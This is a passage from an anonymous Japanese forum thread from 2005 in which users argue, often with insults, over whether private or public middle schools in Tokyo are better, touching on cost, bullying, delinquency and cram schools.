ほどほどの中庸な学校を探す。そしてそこに通わせる。

>それに余計な行事や旅行などで金がやたらかかる私立も多いし。
あんまりそういう点で金はかけたくないけど
勉強だけはしっかりやって行こうと思う向きは公立+塾という選択肢でも
別にOKなんじゃない?

これもそう。
金がやたらかかる私立があるからと言って、私立はダメ→公立+塾という結論にはならないよ。
金がやたらかかることのない私立を選べばいいだけの話。

論理の展開が稚拙すぎるよね・・・




85 :実習生さん:2005/04/04(月) 11:44:20 ID:oin+f3TA
>>84
程々の中庸の学校とは?
金がかからない私立とは?私立だったら大概金はかかるんじゃない?
具体名として例えばどこの私立よ?随分私立に詳しいようだが。

これからは大学だけじゃなく、大学院まで行かなきゃなんて時代なんだから
中高時代ばかりに金を使ってられないと思うけれどね。


86 :実習生さん:2005/04/04(月) 11:46:41 ID:oin+f3TA
それと、高校にもなれば
(場合によっては中学からでも)ほとんどの私立でも
塾・予備校に行ってますが。
「私立は塾・予備校はいらない」なんてもはや伝説・妄想の類だと
思うけどな。

87 :実習生さん:2005/04/04(月) 11:50:00 ID:oin+f3TA
あの、言って置くけれど「金がかかる」=だから私立はすべてダメなんて
言ってないからね。
金が有り余っていれば別にどんな私立に行ったっていいんじゃない?
でも金も無いのに無理して行く事もないでしょって事なんだけどね。

88 :名無し@教育板:2005/04/04(月) 11:53:01 ID:T2E3w3p7
>>85
>程々の中庸の学校とは?

おまえ自分で>>78

>でも私立だからと言ってみんなそういう学校であるというわけじゃ
ないからね。

さらに>>80

>バリバリ勉強受験少年院系の私立
は東京においても沢山ある「私立」のうちの一部に過ぎないわけで。
そういう一部の私立をさも私立はみんなそうであるかのように
言うのは事実に反するんじゃ?と思われるからでは?

って書いているじゃん。つまり「受験少年院ではない中庸な私立」が「たくさん」あるのは知っているからそう書いたんだろ?
それなのに、知らん顔して

>具体名として例えばどこの私立よ?

・・・・駄々っ子みたいなツッコミしているんじゃないよ。

89 :実習生さん:2005/04/04(月) 11:59:18 ID:oin+f3TA
そっちこそ苦し紛れの突っ込みしてるとしか思えんのだけどね。

こっちが実績を出してる学校だと言うのは
別に具体名をあげる必要は無いと思うけれど
四谷の偏差値でいえば大体55以上の所だよ。

そこまで行かない学校でも桐蔭とか西武文理とかあとは渋渋、渋幕
あたりはバリバリ系だね。
でもそんな私立は極一部でしょって言いたかったんだけど。
事実、偏差値55以下の学校の方が数が多いでしょ?

90 :名無し@教育板:2005/04/04(月) 12:01:55 ID:T2E3w3p7
>>85
>金がかからない私立とは?私立だったら大概金はかかるんじゃない?

>>78では、

>それに余計な行事や旅行などで金がやたらかかる私立も多いし。

だったのに、

>>84
>金がやたらかかる私立があるからと言って、私立はダメ→公立+塾という結論にはならないよ。
金がやたらかかることのない私立を選べばいいだけの話。

と指摘されると、即座に「やたら」という言葉をシレッとはずし、話をすりかえているな。

おまえがレスを書けば書くほど、公立マンセーはアホかインチキかまたはその両方のどっちか、
っていう証明を続けているようなものじゃないか?





91 :実習生さん:2005/04/04(月) 12:06:47 ID:oin+f3TA
だから、家庭の事情等で中高時代の教育費に上限も無く湯水の如く
金を使えない家庭は無理して金のかかる私立に行かなくても
別にいいんじゃない?ってことなんですが。イッテルコトワkリマスカ?

教育費に上限無く金を出せる家庭は私立だろうが海外留学だろうが
行けばよろしい。
別に私立を否定してはいない。

92 :名無し@教育板:2005/04/04(月) 12:07:36 ID:T2E3w3p7
>>89
話の展開の中で何で偏差値55とか出てくるのかわかりません・・・

ところで渋々や渋幕がバリバリ系って・・・
バリバリ系って受験少年院ってことじゃなかったの?




93 :実習生さん:2005/04/04(月) 12:10:31 ID:oin+f3TA
名無し@教育板はこっちの事を是が非にでも
「アホでインチキな公立マンセー」にしたいんだろうが

別 に 公 立 マ ン セ ー で は な い よ。

94 :名無し@教育板:2005/04/04(月) 12:11:14 ID:T2E3w3p7
>>91
ホラネ

すぐ

>上限も無く湯水の如く

とかを挿入させてすりかえる。

上限なく湯水のごとく教育費を使える家庭  と  私立に行かせるのが経済的に無理な家庭

との間に私立中に行かせているほとんどの家庭が位置しているっていうくらいは常識的にわかるよな?

95 :私立擁護派公立出身地底:2005/04/04(月) 12:12:15 ID:Qo4D0pIe
すまん、オレ私立のことよくわかんないから
どんな私立があるのかわからんヽ(`Д´)ノ ウワァァァン

1.進学用中高一貫
2.付属
3.お嬢様系名門

くらいしかオレのイメージにはないんだけど。
だれか上手く分類して説明して。

96 :実習生さん:2005/04/04(月) 12:13:59 ID:r/U1Ajsn
>>91
金がないなら子供作らないでもいいと思うんだが。
教育費というのは金がかかるものだと、最初っからわかっていることなのに

なんで先のことを考えないんだろう


97 :実習生さん:2005/04/04(月) 12:16:12 ID:oin+f3TA
>>92
「学校のみに勉強面でのフォローを頼るのなら」
確かに私立の方が良いけれど、それは大体偏差値55以上の
一部の私立じゃなきゃダメだってことなんですが。
>>94
じゃあ、君の気に入るように言い換える。w
「私立に通わせるのに家計が苦しい家庭の場合は」

98 :実習生さん:2005/04/04(月) 12:19:27 ID:oin+f3TA
>>954.中途半端、或いは底辺私立
>>96
それだと益々少子化が進むね。今ものすごく少子化が深刻に
なってるけれど。

99 :名無し@教育板:2005/04/04(月) 12:22:03 ID:T2E3w3p7
>>95
つーかあんまり分類とかに拘るからかえってわかんなくなるんじゃないでしょうか?

たとえば「進学校」って言っても、東大に4分の1くらい行くような学校もあれば、
早稲田慶應万々歳ってところもあるわけ。

公立マンセーはよく(偏差値55以上みたいに)、○○以上じゃなきゃ意味がない、っていうけど、
おいおい、だったらおまえ、美人じゃなきゃ、どんなブスでもいいのか? ってことじゃない?
誰もが認める美人じゃなくても、そこそこかわいい子がいいじゃん。
ブスが好きならそれはそれだけど、美人が好きなくせに、「偏差値55以上じゃなきゃ」なんて言うのは
駄々こねている餓鬼。

100 :実習生さん:2005/04/04(月) 12:24:53 ID:oin+f3TA
>>94
あとは中高までだったらギリギリ私立へ通わせる事が可能でも
その先、大学や大学院の学費が出せるかどうか?な家庭、
または多分無理して学費を出して出せない事はないかもしれないけれど
将来が少し不安、な家庭は私立に拘る必要は無いと思う。

101 :名無し@教育板:2005/04/04(月) 12:26:05 ID:T2E3w3p7
>>97
>「学校のみに勉強面でのフォローを頼るのなら」
確かに私立の方が良いけれど、それは大体偏差値55以上の
一部の私立じゃなきゃダメだってことなんですが。

ここが全然違うのよ。

偏差値50にも、偏差値45にも、偏差値40にも、偏差値35にも、
それなりの「勉強」があるだろうことくらい想像つかない???

公立中はそのどこにもダメなのよ。
まあ時々ラッキーでヒットすることもあるけど、
私立中学のそれなりの方がましなことが多いし、少なくともリスクヘッジにはなる。



102 :実習生さん:2005/04/04(月) 12:26:22 ID:r/U1Ajsn
>>98
仕方ないよ
その中でやっていくしかない
それでもいいじゃん

103 :実習生さん:2005/04/04(月) 12:27:07 ID:r/U1Ajsn
っていうか、今の状態のまま少子化が解消しても仕方ない
教育問題を何とかしないことには
いくら若い世代がいても一緒


104 :実習生さん:2005/04/04(月) 12:27:19 ID:oin+f3TA
>>99
だからそれはあくまでも「学校に勉強面、進学面での
強力なフォローをお願いしたい場合」のみね。

別にそういう事を求めていないんだったら
それ以下の私立だろうが或いは公立だろうが
それぞれの好みに応じていきゃいいんじゃん。

105 :実習生さん:2005/04/04(月) 12:28:53 ID:oin+f3TA
>>103
少子化スレッドでも見てきたら?

106 :実習生さん:2005/04/04(月) 12:30:14 ID:oin+f3TA
それなりの「勉強」って何?荒れてない環境って事?
それは地域性によるじゃん。

107 :名無し@教育板:2005/04/04(月) 12:36:31 ID:T2E3w3p7
>>106
「地域性」これもこのスレ頻出のDQN証明ワードですね。

「良い学区域」なんて、全国にヒトケタくらいでしょ。
宝くじあたるような話だよ。

108 :実習生さん:2005/04/04(月) 12:37:16 ID:oin+f3TA
学校がDQNチックに荒れてるか荒れていないかは地域性によるもの。
荒れていない環境だったら公立+塾または通信でもOK。

荒れていて、或いは荒れていなくても自分と周囲の環境がマッチしないのなら
それは私立底辺中へ、というよりもフリースクールなどに行った方がよいのでは?

109 :実習生さん:2005/04/04(月) 12:38:41 ID:oin+f3TA
>>107
それは君の貧しい脳内で考えた妄想でしょ?根拠あるの?


110 :実習生さん:2005/04/04(月) 12:40:35 ID:oin+f3TA
自分が良い環境に縁が無かったからと言って
良い環境が全国にヒトケタっていうのは極端だなあ。
それに、ヒトケタって何だ?

111 :名無し@教育板:2005/04/04(月) 12:40:57 ID:T2E3w3p7
>>108
「荒れ」なんか突然起こるものでしょ。
「荒れていない」と思って公立入れたら、翌年から・・・って事例はよく出てくるじゃん。

第一「荒れ」だけがバロメーターじゃないと思うよ。
表面的に荒れていなくても、中身は荒んでいるってのもよくある。


112 :実習生さん:2005/04/04(月) 12:45:12 ID:oin+f3TA
>>111
しかし、それは地域がDQN風味かどうかに負う所は大分大きいと思うよ。
それに中身は荒んでっていうのが怖いって言うのなら(いじめとか?)
それは私立だから安心だとは言えないんじゃない?

113 :実習生さん:2005/04/04(月) 12:50:19 ID:oin+f3TA
「一部の」私立は勉強面で特化しているのは紛れも無い事実。
それ以外の事を学校に求めるのなら各人の好みや家庭環境に応じて
選べばいいだけの事だよ。

人間関係のトラブル回避なら、それは私立公立というよりも
フリースクール、フリースペース方面へ行った方がいい。

114 :名無し@教育板:2005/04/04(月) 12:52:28 ID:T2E3w3p7
>それなりの「勉強」って何?荒れてない環境って事?
それは地域性によるじゃん。

荒れていないなんて当然のことは別として、
それなりの勉強を生徒にさせてくれるちゃんとした公立中学のある学区域。
もちろん、どこの高校に進学したなんていうことだけじゃなくて。

もちろん高校受験があるわけだからプラス塾の必要性を否定するわけではない。
しかし、くだらない学校社会主義の押し付けだけじゃないまともな教育を標榜している公立中学なんかあるか?
実際あっても叩かれて終わっちゃったじゃん。
まあ、二桁はないだろ。




115 :実習生さん:2005/04/04(月) 12:55:45 ID:oin+f3TA
確かに公立の勉強プログラムはスカスカだし、
塾無しであくまでもやっていきたいというのならそれは問題だろう。
が、塾を併用する気があるのならば
公立へ進学したからといって人生終わりになるわけじゃない。

学校社会主義っていうのは
「にんげん」とかそういうの??w



116 :名無し@教育板:2005/04/04(月) 12:57:24 ID:T2E3w3p7
>>112
>それは私立だから安心だとは言えないんじゃない?

おまえの思考癖だな(w
極端な二者択一ばっかだよな。

100%の安全なんてないが、なるべく安心できるものを選ぶわけだよ。

>>113
も同じ。
すぐ極端=フリースクールに走る。

「東大行けないなら中卒で暴走族でいいじゃん!」
って言っている香具師がいるとしたらDQNってのはおまえでも思うだろ?

117 :実習生さん:2005/04/04(月) 13:03:56 ID:oin+f3TA
>>116
100%安全ではないのならそれはいじめや人間関係のトラブル回避で
無理して一方を選んだ所で何の意味も無いわけよ。
入学する前に「私立だったら安全の確立が高そう」なんて
イメージだけで選んだとしても実際いじめやトラブルにあったら
そのイメージなんて屁の役にも立たないわけよ。
実際、いじめのトラブル回避で私立を選ぶ人間なんてどれだけいるかわからんが。

118 :実習生さん:2005/04/04(月) 13:15:43 ID:oin+f3TA
完全なる人間関係トラブル回避なら
それはフリースペース・フリースクール・
クラーク学院国際高校なんかに行く方が安全だな。

ま、フリースクールやクラーク学院国際高校なんかも
一種の私立だけどね。(公営のフリースクールもあるけど)

119 :名無し@教育板:2005/04/04(月) 13:16:46 ID:T2E3w3p7
>>117
まだやっているよ・・・

>無理して
>イメージだけで

いじめ回避などの理由で私立中に行かせる場合でも、べつに無理してもいないし、イメージだけで選んでもいないのよ(w
どんどん妄想を膨らませるなよ(w

まあ、それ以前に「勉強面以外」を求める=人間関係のトラブル回避(だけ)にすぐに飛んじゃうおまえの思考回路が極端なんだがな(w

>00%安全ではないのなら〜何の意味も無いわけよ。

じっくり選んでも100%安心なんてことはない。どんなことでも100%の保証なんてありえないよ。
DQNじゃない人はそういうことはちゃんとわかっているさ。
100%の幸福な人生が保証されるわけではないのに勉強したり努力したりした結果がDQNとの差なんだからさ。
でも、良い結果の出る確率の高い方をいろんな意味でのコストがかかっても選んで行くのがまともな人(非DQN)たちなんだよ。


120 :実習生さん:2005/04/04(月) 13:24:15 ID:oin+f3TA
「無理して」いるわけではないのなら、それは好きな学校へ行けばよろしい。

しかし、人間関係のトラブルはどこに行っても必ずついて回るわけで
「私立なら」「まだ」「安全の確立が高い」というのもあんたの妄想に過ぎない。

勉強、人間関係のトラブル、それ以外にお前が主張する
大多数が私立を選択することによっての「良い結果」ってなんだ??

121 :実習生さん:2005/04/04(月) 13:25:51 ID:oin+f3TA
そもそも、あんたは、私立と公立の両方へ通って比べてみたのか?

122 :実習生さん:2005/04/04(月) 13:33:19 ID:QBtLrQkb
>>121
ID:oin+f3TAって中高一貫へ高校から入った高校生じゃなかったっけ?
何か前スレに書いてあったような。(別人だったらゴメン。)

高入生は勉強たいへんでしょ。別にこんなところで大人相手にしなくてもいいのでは?

123 :実習生さん:2005/04/04(月) 13:36:12 ID:oin+f3TA
名無し@教育板個人が私立に行きたかった
(でも諸事情あって行けなかったみたいだけど)っていう事実は
別に悪くもよくもなんでもないけれどね、
名無し@教育板と同じにしないと=DQNになるのかよくわからんな。

124 :名無し@教育板:2005/04/04(月) 13:40:16 ID:T2E3w3p7
>>120
1)私立中の方が「いじめ」にあいにくい、「いじめ」があったときに学校側から適切な対処を受けやすい。
2)公立中学の不良グループや先輩関係などから不良行為や犯罪行為に引き込まれる危険がある。
3)具体的な問題児、グループから私立中に行くことによって離れたい。

人間関係のトラブル回避を理由に私立に行く場合は上のようなものがあると思うが、それだって、
絶対的なものではなく、相対的な「安全」にすぎない。

ただシステムとして、公立中学は、
a)どんな生徒でも受け容れなければならず、しかも退学などの処分が事実上不可能。
b)内申書により教師が「採点者」になってしまっているので、生徒や保護者との間に溝ができている。
(内申書に関係ない保健室が駆け込み寺みたいになっているのはそのためとも言える。)
c)教師の頻繁な異動のため、問題解決に関する教師のモチベーションが不足。(私立の場合は存続に関わる。)



125 :実習生さん:2005/04/04(月) 13:50:05 ID:oin+f3TA
内申書の弊害については別に反論するつもりはなうが

1.の「私立中の方がいじめに合いにくい」というのは疑問。
事実、私立でも酷いいじめにあったという報告も
教育板でもいくらでもある。
いじめにあった場合、適切な対処をしてくれるかどうかも
学校による。成績重視の学校の場合、いじめの被害者が不登校になっても
そのまま退学に移行するのを見過ごす事も多いのではないか?
かといって成績重視ではない学校でも所謂カウンセラー機能が
しっかり働いているかどうかは各学校によって違う。
本当にそういう点を求めていくのなら
上記に上げたフリースペース的な学校へ行くのが良。
2.3のような状況に陥るかどうかは各人のいる環境によるだろう。


126 :実習生さん:2005/04/04(月) 14:00:01 ID:oin+f3TA
また内申の問題があったとしてもそれが即=いじめの被害者が放置される事には
つながらないと思うが…??

a)で非ドキュンの生徒が困難な状況になるかどうかはその学校・地域の環境に
もよるだろう。
c)のモチベーションも確かに理屈で言えば存続に関わるはずなのだが
実際は非公務員だからといって誰もが必死で熱心なわけでもないよ。

127 :名無し@教育板:2005/04/04(月) 14:03:03 ID:T2E3w3p7
>>125
「学校による」んだったら「私立」だろ。

基本的に公立は(学校選択制があるといっても)学区域の一校かせいぜい近隣の2〜3校。
私立中できちんと対処できる学校を選べばいいだけのこと。
つまり、仮におまえの主張するように「いじめ平均値」が同じだとしても、選択できるのとできないのとでは雲泥の差。

ふつうのルックスの女とお見合いさせられるのと、自由に選べるのでは、どっちが美人を選べる???




128 :実習生さん:2005/04/04(月) 14:06:55 ID:oin+f3TA
「いじめに関して厳正なる対処をする私立」と
「実はそうでもない私立」

お前だったらどうやって見分ける??

どの学校も建前上は「いじめは許さない」って言ってるよ。

129 :実習生さん:2005/04/04(月) 14:11:43 ID:oin+f3TA
唯一、確実と言えるのは一般的な学校の人間関係で不登校に陥った
生徒を心理的にフォローして大学合格まで導きますって明言している学校
だけだよ。

130 :名無し@教育板:2005/04/04(月) 14:20:19 ID:T2E3w3p7
>>129
だから「確実」である必要はない(し、求めてもムダな)んだって(w

まあ個人的な考えだけど、小学校のないところはだいたい大丈夫だね。

131 :実習生さん:2005/04/04(月) 14:26:26 ID:oin+f3TA
何で小学校の無い所?
それに私立にだっていじめがあるところ、
そこを何となく放置してしまう所もあるし
そういう学校とそうでない学校の見分け方もつかないんじゃ
「私立はいじめの点で安全(或いは確立が云々)」
なんて結局お前の妄想にすぎないんわけじゃん…。

132 :実習生さん:2005/04/04(月) 14:29:11 ID:oin+f3TA
そういや、公立だったらいじめでトラブルがあった場合、転校も可能だよ。
しかし、私立学校間での転校は引越し以外の理由では不可能。

133 :名無し@教育板:2005/04/04(月) 14:38:29 ID:T2E3w3p7
>>128
イジメの被害者が転校させられるのが公立
イジメの加害者が退学させられるのは私立


134 :実習生さん:2005/04/04(月) 14:43:33 ID:LdvLn3rz
公立に入れる親はバカ

135 :実習生さん:2005/04/04(月) 14:50:08 ID:oj3q56gj
人間関係のトラブルやいじめなどの回避というよりはヤンキー回避ってことなんじゃないのかな。
人間関係のトラブルは私立公立フリースクール関係なくどこでもあるし。



136 :名無し@教育板:2005/04/04(月) 14:52:15 ID:T2E3w3p7
>>131
まあ個人的には「いじめ」なんかどこにでもあるからね。全然気にしていないわけ。
ただ学校内部でいろいろ問題が起こった時に、公立の対応ってのはホントにどうしようもない、
ってのは経験のある親ならよ〜〜〜〜〜くわかっているわけ。
そんな腐った組織はホントありえない、ってくらいね。
親方日の丸の閉ざされた社会はどうなっちゃうんだろうねえ。
いくら何でも私立(民間)ではそんなアホなことはないだろ・・・ってこと。
そういうのは人生でいろいろ経験してわかってくるんだよね。

137 :実習生さん:2005/04/04(月) 16:03:41 ID:tAKrtkoY
名無し@教育板さんのいうことは
筋が通っているな

俺も同意


138 ::2005/04/04(月) 17:19:57 ID:hz0W558E
名無し@教育板さんにさんせ〜い


139 :実習生さん:2005/04/04(月) 17:46:55 ID:oin+f3TA
串を刺して自演までしなくていいよ。

お前の体験が嘘だったとは言わんが、
お前の体験=お前以外に公立で過ごした者、今過ごしている者、
或いはこれから過ごすであろう者、の体験である、とは限らん。

私立でも中学以上ともなれば教師が生徒の後尻くっついて歩いている
わけではない。そんなことが可能なのは一学年の生徒数が数名、とかいう
絶滅寸前の私立だけだろう。そういう私立も高校以上になれば
大勢生徒が入学して来て生徒と教師が一対一で、なんて事は不可能に
なるわけだが。

公が絶対であるわけではないが、民(私)が民(私)であるだけで
アホな事がありえない、なんて世の中単純でも甘くもない。

140 :実習生さん:2005/04/04(月) 17:49:44 ID:oin+f3TA
>>133
私立だからといっていじめの「加害者」の方が退学させられるとは
限らないぞ。虐められて精神がぶっ壊れてやめて行く奴だって
いるって事は知らないわけではないだろう。

141 :実習生さん:2005/04/04(月) 18:21:00 ID:QBtLrQkb
>>139
わからないから聞くんだけど

>串を刺して  とはどういうこと?

どうして137や138が名無し@教育板氏の自演だと言い切れるの?

142 :名無し@教育板:2005/04/04(月) 18:24:23 ID:T2E3w3p7
>>139
>お前の体験が嘘だったとは言わんが、

おれ何か「体験」について話したっけ?

>ただ学校内部でいろいろ問題が起こった時に、公立の対応ってのはホントにどうしようもない、
ってのは経験のある親ならよ〜〜〜〜〜くわかっているわけ。

>そういうのは人生でいろいろ経験してわかってくるんだよね。

のことか?
こりゃ、オレの体験ってわけじゃなく、すでにコモンセンスになっていることじゃないの?
以前挙げたけど、小学生のスカートの中を電車の中で盗撮して警察につかまった教師を、知っていてそのまま教壇に立たせていたアホ教育委員会+校長の事例とか日常的なわけだ。

143 :名無し@教育板:2005/04/04(月) 18:35:24 ID:T2E3w3p7
>民(私)が民(私)であるだけで
アホな事がありえない、なんて世の中単純でも甘くもない。

また↑こうやって話を絶対化させるんだからなあ・・・癖は治らんな。

>私立だからといっていじめの「加害者」の方が退学させられるとは
限らないぞ。

↑これもね。
誰も、私立は「絶対だ!!」なんて言ってないだろ。

おまえは100%の保証がなければ無意味(一文も払うもんか!)って了見なんだろうけど、
それは、DQN育成の基本理念みたいなものだよ。

ふつうの親は、確率論の限界を割り切りながら、「絶対」なんて餓鬼のワガママみたいなこと言わずに、
より良い選択肢を慎重に選んでいるもんなんだよ。






144 :実習生さん:2005/04/04(月) 19:06:02 ID:GnuevfBo
>>143
>ふつうの親は、確率論の限界を割り切りながら、「絶対」なんて餓鬼のワガママみたいなこと言わずに、
>より良い選択肢を慎重に選んでいるもんなんだよ。

ならば確立論で定量的に明示してたもれ。

だから公立だから悪く私立だから良いとは言えないのさ。
みんな自分の周りを見回して判断する。
他人はどうであろうと、自分の周りが大切なのさ。
DQN地区の私立マンセーが公立中のひどさを熱く語っても、優良住宅地区の住人には?なのさ。


145 :144:2005/04/04(月) 19:07:16 ID:GnuevfBo
訂正
確立論→確率論

146 :実習生さん:2005/04/04(月) 19:36:33 ID:OLJtSkT7
花見で飲酒、男児はねる=都内の中学校長

 東京都葛飾区教育委員会は4日、区立中学校の男性校長(51)が花見で飲酒後に自家用車を運転、5歳の男児をはねる事故を起こしたと発表した。男児は打撲などの軽症。校長は現在、警視庁亀有署に拘留されている。

http://headlines.yahoo.co.jp/hl?a=20050404-00000956-jij-soci

147 :名無し@教育板:2005/04/04(月) 19:43:33 ID:T2E3w3p7
>>144
>ならば確立論で定量的に明示してたもれ。

こういうこと言う香具師は確率論関係なく100%馬鹿(w

>DQN地区の私立マンセーが公立中のひどさを熱く語っても、優良住宅地区の住人には?なのさ。

また出たよ(w
そのうち自慢が始まるぞ(w



148 :実習生さん:2005/04/04(月) 20:03:53 ID:GnuevfBo
>>147
>こういうこと言う香具師は確率論関係なく100%馬鹿(w

馬鹿、阿呆、何でも結構だがそれをきちんと説明(証明)せんと、単なる子どもの悪口の応酬と同じで、
あんたが阿呆と見られるだけだぞよ。

自分の都合の悪いことは「あんたの周りだけ」と言い、自分の意見は何の根拠もなく普遍化するところは今までと全く同じ流れだね。
こういうのをダブルスタンダードまたは牽強付会という。
このスレも全く進歩がないね。


149 :名無し@教育板:2005/04/04(月) 20:20:56 ID:T2E3w3p7
>>148
あのねえ、

>>ふつうの親は、確率論の限界を割り切りながら、「絶対」なんて餓鬼のワガママみたいなこと言わずに、
>>より良い選択肢を慎重に選んでいるもんなんだよ。

>ならば確立論で定量的に明示してたもれ。

なんて単なる2ちゃん特有のDQNのいちゃもんつけでしかないだろうが。
「子供が中学校でイジメにあう確率およびそうなった場合のきちんとした対処が期待できる確率」
なんか計算できるわけないだろうが。

しかしながら、上のレスに書いたような周辺事情によって、
公立=不安ないし危険。
私立=絶対とは言えないが比較的安心
というコンセンサスは一般論としてあるわけだ。
その点については、ID:oin+f3TAでさえわかっているだろうことは文脈から明白だしな。

おまえは馬鹿のひとつおぼえのように「DQN地区は、優良住宅地区は」とアホなことばっかり言っているだけで、
結局「常識」さえない、ID:oin+f3TA以下というだけのことだろ。


150 :名無し@教育板:2005/04/04(月) 20:25:33 ID:T2E3w3p7
このスレがどんなに進歩しても、

優良住宅地区だから公立中学マンセーとか言っている馬鹿は、馬鹿。


151 :実習生さん:2005/04/04(月) 20:25:57 ID:c09f4zjF
>133
イジメの「被害者」が進路変更を「勧められる」のが私立。
私立にはいじめはないからね〜。警察沙汰にでもならない限り、
いじめを理由に退学なんかにしません。

152 :実習生さん:2005/04/04(月) 20:41:10 ID:q1ffq004
公立中に安心して通わせることができる地域にお住まいの方は羨ましいです。
うちは夫の転勤で引っ越しましたが、安心して公立に通わせることのできる地域ではありません
でした。

153 :実習生さん:2005/04/04(月) 20:43:28 ID:GnuevfBo
>>149
>なんて単なる2ちゃん特有のDQNのいちゃもんつけでしかないだろうが。
>「子供が中学校でイジメにあう確率およびそうなった場合のきちんとした対処が期待できる確率」
>なんか計算できるわけないだろうが。

計算できないのなら確率論などと尤もらしいことを言うなってこった。
結局あんたの感じに過ぎないわけだろう。
あんたの感じがあればもう一方には私の感じもある。
イジメのことだけを言っているわけではないが、イジメを挙げているのでイジメを例にとると
私の聞いた数では私立の方が多いな。(学校を転校した人もいた。)
だからと言って私立の方が多いとまでは言えないとは思うが。


154 :実習生さん:2005/04/04(月) 20:49:45 ID:OLJtSkT7
優良住宅地区の金持ち世帯は、小学受験、中学受験で消える。


155 :名無し@教育板:2005/04/04(月) 20:59:24 ID:T2E3w3p7
>>153
>計算できないのなら確率論などと尤もらしいことを言うなってこった。

計算できなくても「確率論」はあるんだよ。
単にあんたが「確率論」を狭義に捉えただけだろ。
一種の誤読だな(w  ってか、いちゃもんつけだったな(ww

>結局あんたの感じに過ぎないわけだろう。

何度も言ったように、その根拠はレスに書いた。
あんたが同意できないのはただここで語るレベルの知識さえないからだろ。



156 :実習生さん:2005/04/04(月) 21:03:52 ID:q1ffq004
>>154
消えないという結論になっているようですよ。

157 :名無し@教育板:2005/04/04(月) 21:09:11 ID:T2E3w3p7
優良住宅地区(藁)とか言っているけど、文科省傘下の公立中学のクオリティは全国標準均一規格。
優良住宅地区(藁)の公立中学がゆとり教育をはじめとした今の公教育のとくに公立学校の諸問題からフリーでいるわけではない。
保護者や生徒が裕福だからと言って、教師や学校の器(ソフトウエアも含めた)は変わらないわけで、そこで満足な教育がなされているわけではない。
とか言うとすぐ進学実績がどーとかこーとか言い出すわけなんだが、東大に何人行くかなんか本質的な教育のレベルと何の関係もないわけだし。

仮に、本当に素晴らしい公立中学が優良住宅地区(藁)に存在するとして、だからどうなの?
そんなこと言っても、日本全国の99.99%に関係ない話だし、参考にもならん。

>>152みたいに

>公立中に安心して通わせることができる地域にお住まいの方は羨ましいです。

というレスは入るかも知れんが、それで???

優良住宅地区に住んでいる自分を誉めてもらいたいわけか?
2ちゃんのこのスレで・・・???

158 :実習生さん:2005/04/04(月) 21:10:13 ID:QBtLrQkb
>>154
消えはしないけどだいぶ減るので
優良住宅地区なら公立へ とはなりません。

159 :実習生さん:2005/04/04(月) 21:22:44 ID:iUQwLBIU
>>157
お前このスレが日本の僅か0.16%(面積比)人口比にしても6.6%の
東京23区ローカルな事情についてのスレであることを忘れたか?

>そんなこと言っても、日本全国の99.99%に関係ない話だし、参考にもならん。
お前のヨタ話がな

160 :実習生さん:2005/04/04(月) 21:45:48 ID:oin+f3TA
自分の都合の悪いことは「あんたの周りだけ」と言い、自分の意見は何の根拠もなく普遍化するところは今までと全く同じ流れだね。
こういうのをダブルスタンダードまたは牽強付会という。

まさに、まさにその通り。

DQNの問題と公立の教育プログラムの問題は別だろう。
ごっちゃにして語るな。お前の言ってる事はめっちゃくちゃ。

161 :実習生さん:2005/04/04(月) 21:50:38 ID:oin+f3TA
>そういうのは人生でいろいろ経験してわかってくるんだよね。

のことか?
こりゃ、オレの体験ってわけじゃなく、すでにコモンセンスになっていることじゃないの?
以前挙げたけど、小学生のスカートのしかしながら、上のレスに書いたような周辺事情によって、
中を電車の中で盗撮して警察につかまった教師を、知っていてそのまま教壇に立たせていたアホ教育委員会+校長の事例とか日常的なわけだ。

「人生」って表現してたからお前の体験だと解釈したんだが
聞きかじりのニュースかい。
書いてる事がほんと滅茶苦茶だよ。

162 :実習生さん:2005/04/04(月) 21:53:52 ID:oin+f3TA
公立=不安ないし危険。
私立=絶対とは言えないが比較的安心
というコンセンサスは一般論としてあるわけだ

お前の言う「コモンセンス」とか「コンセサス」って一体どっから引っ張り出して
きたもんなんだ??w
全てお前の脳内から発生しているだけのもんだろうが。
部屋の中でヒキコモッテるだけで何でコモンセンスとかコンセサスとかわかるの?

163 :名無し@教育板:2005/04/04(月) 22:46:49 ID:T2E3w3p7
>>159
>>20嫁。

164 :名無し@教育板:2005/04/04(月) 22:49:02 ID:T2E3w3p7
>>160
>DQNの問題と公立の教育プログラムの問題は別だろう。

両方とも普通の「公立中学」の抱える一般的な問題であり、ここでは「公立中学」の問題について語っているのだが・・・
知らなかったのか?


165 :名無し@教育板:2005/04/04(月) 22:59:27 ID:T2E3w3p7
>>161
べつにオレに限らず、分別ある大人なら、公立学校の先生ってのが良い人か悪い人かは別として、
学校の中で問題があったときにどういう対応をするかってくらいは経験的にわかっていると思うが・・・

また「お役所」と「民間」のサービスに関するクオリティについても同じことだ。
(教育における公立vs私立のそれを顧客サービスと同列に語るのは適切ではないとの批判もあろうが、それに準ずるものはあるでしょ)

これを個人的な経験論だとか、聞きかじりのニュースとか言っている香具師はただ単に一般常識に欠けるというだけじゃないの?




166 :実習生さん:2005/04/04(月) 23:02:34 ID:q1ffq004
港区   一人当たり給与所得7151千円   人口  174975人
千代田区 一人当たり給与所得6122千円   人口  40178人 
渋谷区  一人当たり給与所得5986千円   人口  201670人
                      計  416823人

日本の人口                  128000000人

港区、千代田区、渋谷区以外の住民の割合は 99.9967%

確かに日本全国の99.99%には関係ない話かも。

167 :名無し@教育板:2005/04/04(月) 23:10:02 ID:T2E3w3p7
>>162
>お前の言う「コモンセンス」とか「コンセサス」って一体どっから引っ張り出して
きたもんなんだ??w

おまえ、自分で認めていなかったわけ?
いじめなどの問題について、

私立>公立

というコンセンサスがあるからこそ、

>>140
>私立だからといっていじめの「加害者」の方が退学させられるとは
限らないぞ。虐められて精神がぶっ壊れてやめて行く奴だって
いるって事は知らないわけではないだろう。

おまえの主張は「私立は100%ではない」ってとこだったわけで、
私立>公立 さえも知らないってほどのワカランジンだったのか?
単に優良住宅地区自慢馬鹿に煽られて宗旨替えしたのか?


168 :実習生さん:2005/04/04(月) 23:13:21 ID:oin+f3TA
>>164
例えば、公立の簡単すぎる勉強の内容を一律昔の詰め込みに戻したり
いろいろ変えてみた所で
「一部に」存在するDQNの問題は消滅するわけじゃないでしょ?

お前は気分次第でコロコロDQNの問題を出したり
            内申の問題を出したりしてるけれど
本当に気分次第であれこれ言ってるって感じでちっともちゃんとした
議論になってないと思うんだよね。


169 :実習生さん:2005/04/04(月) 23:17:52 ID:oin+f3TA
>>165なんてあくまでも「お前の感覚」「お前の主観」
に過ぎないよね。
>>167
私立>公立だろうが公立>私立だろうが
そんなの各人の見解によって違うんじゃないの???
